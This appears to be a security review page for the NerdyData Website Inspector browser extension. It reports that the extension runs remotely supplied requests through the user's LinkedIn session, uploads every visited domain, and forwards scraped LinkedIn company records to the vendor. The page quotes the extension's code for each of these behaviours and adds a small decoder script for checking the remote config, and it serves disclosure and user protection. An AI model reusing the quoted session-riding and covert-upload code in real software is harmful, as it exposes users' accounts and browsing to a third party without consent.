Is NerdyData Website Inspector safe?
NerdyData Website Inspector lets its own server issue arbitrary authenticated LinkedIn API requests through the user's browser session.
When a LinkedIn tab finishes loading, the extension decodes a batch of HTTP request specs (URL, method, body, headers) served by NerdyData's own remote config and runs them using the user's LinkedIn session cookie and CSRF token, with no restriction on what those requests can target. Separately, it records the domain of every site visited and PUTs batches of them to NerdyData's servers regardless of whether the user asked to inspect that site, and on every LinkedIn page it scrapes visible company links and forwards the resulting company records to NerdyData as well.
Who publishes itNerdyData - no other listings under this identity, 3 shared hostnames
NerdyData - no other listings under this identity, 3 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Vendor server can push authenticated LinkedIn requests through you
Code analysis shows the extension's remote config can supply a base64-encoded list of HTTP requests it then runs, once per profile, inside your open LinkedIn tab using your own session token, with no allowlist and no visibility to you.
NerdyData's config server can include a base64-encoded list of request specs for the extension to run.
The first LinkedIn page load after that, the extension decodes the list and sends each request from your LinkedIn tab using your own session token.
No code path restricts the decoded URL to a specific LinkedIn endpoint.
Remote config decoded into a live request
async onPageloadComplete(a, o) {
if (isLinkedinDomain(o)) {
this.prefetchCompaniesFromPage(a);
const i = await e().storage.sync.get(d.LINK);
if ("2" === i?.[d.LINK]) return;
if ("string" != typeof this.config.link) return;
const n = JSON.parse(atob(this.config.link) || "[]");
k.console.log("worker.link", n);
const t = await _();
if (!t) return void k.console.log("worker.link missing CSRF");
for (const o of n) {
await e().storage.sync.set({ [d.LINK]: "2" });
const i = { url: o.uri, csrf: t, method: o.method, body: o.body, headers: o.headers };
await I(a, s, [i]).catch((a => { this.logError(a.message, a.stack) }))
}
}
}| Field | Value | Why it matters | |
|---|---|---|---|
Target URL | https://www.linkedin.com/voyager/api/... (illustrative) | Which endpoint the request goes to; set entirely by the remote config, not fixed in the extension. | |
Method and body | POST with an arbitrary JSON body (illustrative) | HTTP method and body are also server-set, so the request can change state, not just read data. | |
Your session token | csrf token derived from the JSESSIONID cookie | The request carries your own LinkedIn CSRF token, so it looks like an action you took. |
Decodes NerdyData's live remote config 'link' field to show exactly what requests it would tell the extension to run, without waiting for it to fire.
// decode-nerdydata-link.js
// Fetches NerdyData's live extension config and decodes the optional
// base64 "link" field into the list of requests it would tell the
// extension to execute inside an open LinkedIn tab.
const VERSION = process.argv[2] || "2.6.1";
async function main() {
const url = `https://api.nerdydata.com/extension/config?version=${VERSION}&reason=manual-check`;
const res = await fetch(url, {
headers: {
"X-Extension-Version": VERSION,
"Content-Type": "application/json",
},
});
if (!res.ok) {
throw new Error(`config fetch failed: ${res.status} ${res.statusText}`);
}
const config = await res.json();
if (typeof config.link !== "string" || config.link.length === 0) {
console.log("config.link is empty; no requests are currently staged.");
return;
}
const requests = JSON.parse(
Buffer.from(config.link, "base64").toString("utf8") || "[]"
);
console.log(`Decoded ${requests.length} staged request(s):`);
for (const r of requests) {
console.log(JSON.stringify(r, null, 2));
}
}
main().catch((err) => {
console.error(err.message);
process.exit(1);
});
- 1Run node decode-nerdydata-link.js 2.6.1, using your installed version.
- 2Read the printed JSON array; each object is a staged request.
- 3Empty output means nothing is staged right now.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Website inspector logs every site you visit, not just ones you check
Code analysis shows NerdyData's background worker records the domain of every site you browse, not only ones you ask it to inspect.
Once 10 new domains queue up, it PUTs the batch to NerdyData's own server if a remote config flag allows it.
You visit an ordinary website while browsing normally.
The extension records the site's domain and queues it for upload without you opening the extension.
This runs even though the extension is only listed as an on-demand site inspector.
Domain logging and batch upload
async handleDomainPrefetching(a) {
try {
if (!a) return;
await this.ready;
const e = $(a);
if (!e) return;
for (-1 === this.prefetchedDomains.indexOf(e) && (this.prefetchedDomains.push(e), this.domainsToPrefetch.push(e)), this.domainsToPrefetch.length >= 10 && (this.config?.prefetch_domains ? this.prefetchDomains(this.domainsToPrefetch) : k.console.log("config?.prefetch_domains disabled"), this.domainsToPrefetch = []); this.prefetchedDomains.length >= 5e3;) this.prefetchedDomains.shift()
} catch (a) {
this.logError(a.message, a.stack || "")
}
await e().storage.local.set({
[g.PREFETCHED_DOMAINS]: this.prefetchedDomains,
[g.PREFETCH_DOMAINS_QUEUE]: this.domainsToPrefetch
})
}async prefetchDomains(a) {
this.config?.prefetch_endpoint ? await fetch(`${C}${this.config?.prefetch_endpoint}?version=${this.version}`, {
method: "PUT",
headers: {
"X-Extension-Version": this.version,
"Content-Type": "application/json"
},
body: JSON.stringify({
domains: a
})
}) : k.console.log("missing config?.prefetch_endpoint")
}| Field | Value | Why it matters | |
|---|---|---|---|
Site domain | example.com | The registrable domain of every site you navigate to, one entry per unique domain. | |
Extension version | 2.6.1 | Sent with each batch so NerdyData can tell which build reported the domains. |
- api.nerdydata.com
NerdyData's own backend. Receives batches of the domains you visit, gated by a flag the extension checks at runtime.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Loading LinkedIn triggers automatic company lookups via your session
Code analysis shows that loading any linkedin.com page with company links makes the extension query LinkedIn's internal API using your own login session, then send the results to NerdyData's server, without you asking it to look anyone up.
You browse LinkedIn normally, such as viewing your feed or a company page.
The extension looks up every company mentioned on the page through your own LinkedIn session and forwards the result to NerdyData.
This runs without you clicking the extension's on-demand company lookup feature.
Automatic company lookup on LinkedIn page load
async prefetchCompaniesFromPage(a) {
try {
const o = await e().tabs.get(a);
if (o.discarded || "complete" !== o.status) return;
if (!this.config?.prefetch_companies) return void k.console.log("config?.prefetch_companies disabled");
const i = (await I(a, c)).filter(((a, e, o) => o.indexOf(a) === e)).filter((a => !(this.prefetchedCompanies.indexOf(a) > -1)));
i.forEach((a => this.prefetchedCompanies.push(a))), k.console.log(`prefetching [${i.join(",")}]`);
for (const e of i) {
const o = await T(a, e).catch((a => { this.logError(a.message, a.stack) }));
o && (await this.prefetchLinkedinCompany(o).catch((a => { this.logError(a.message, a.stack) })), k.console.log(`prefetched company ${e}`), await H(1200))
}
for (; this.prefetchedCompanies.length >= 5e3;) this.prefetchedCompanies.shift()
} catch (a) {
this.logError(a.message, a.stack || "")
}
await e().storage.local.set({ [g.PREFETCHED_COMPANIES]: this.prefetchedCompanies })
}async function T(a, e) {
const o = await _();
if (!o || !e) return;
k.console.info(`getting company ${e}`);
if (/^\d{5,}$/.test(e)) return;
const i = `https://www.linkedin.com/voyager/api/graphql?variables=(universalName:${encodeURIComponent(e)})&queryId=voyagerOrganizationDashCompanies.0a02196e48ea3a0273f2b2ef2ecd8e13`,
n = await I(a, s, [{
method: "GET",
url: i,
csrf: o,
headers: {
Referer: `https://www.linkedin.com/company/${e}/`,
"X-Li-Pem-Metadata": "Voyager - Organization - Member=organization-top-card,Voyager - Organization - Member=organization-affiliated-pages"
}
}]),
t = n?.included?.filter(P);
return t?.[0]
}| Field | Value | Why it matters | |
|---|---|---|---|
Company record | {"universalName":"acme-corp","name":"Acme Corp"} | The organization object LinkedIn's API returns for each company slug found on the page. | |
Your LinkedIn session | csrf token derived from JSESSIONID | Your own CSRF token is reused to authenticate the lookup; the cookie value itself is not sent to NerdyData. |
- api.nerdydata.com
Receives the LinkedIn company records the extension collects automatically while you browse, using your own session.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 2.6.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Watch every request your browser makes
webRequest
Read and change cookies, including the ones that keep you signed in
cookies
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
Schedule its own background tasks
alarms
See the address and title of every tab you have open
tabs
Act on the current tab, but only after you click the extension
activeTab
Where it sends data
Destinations our analysis observed NerdyData Website Inspector contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.nerdydata.com
NerdyData Website Inspector sends data to api.nerdydata.com. No other extension we have analysed sends data here.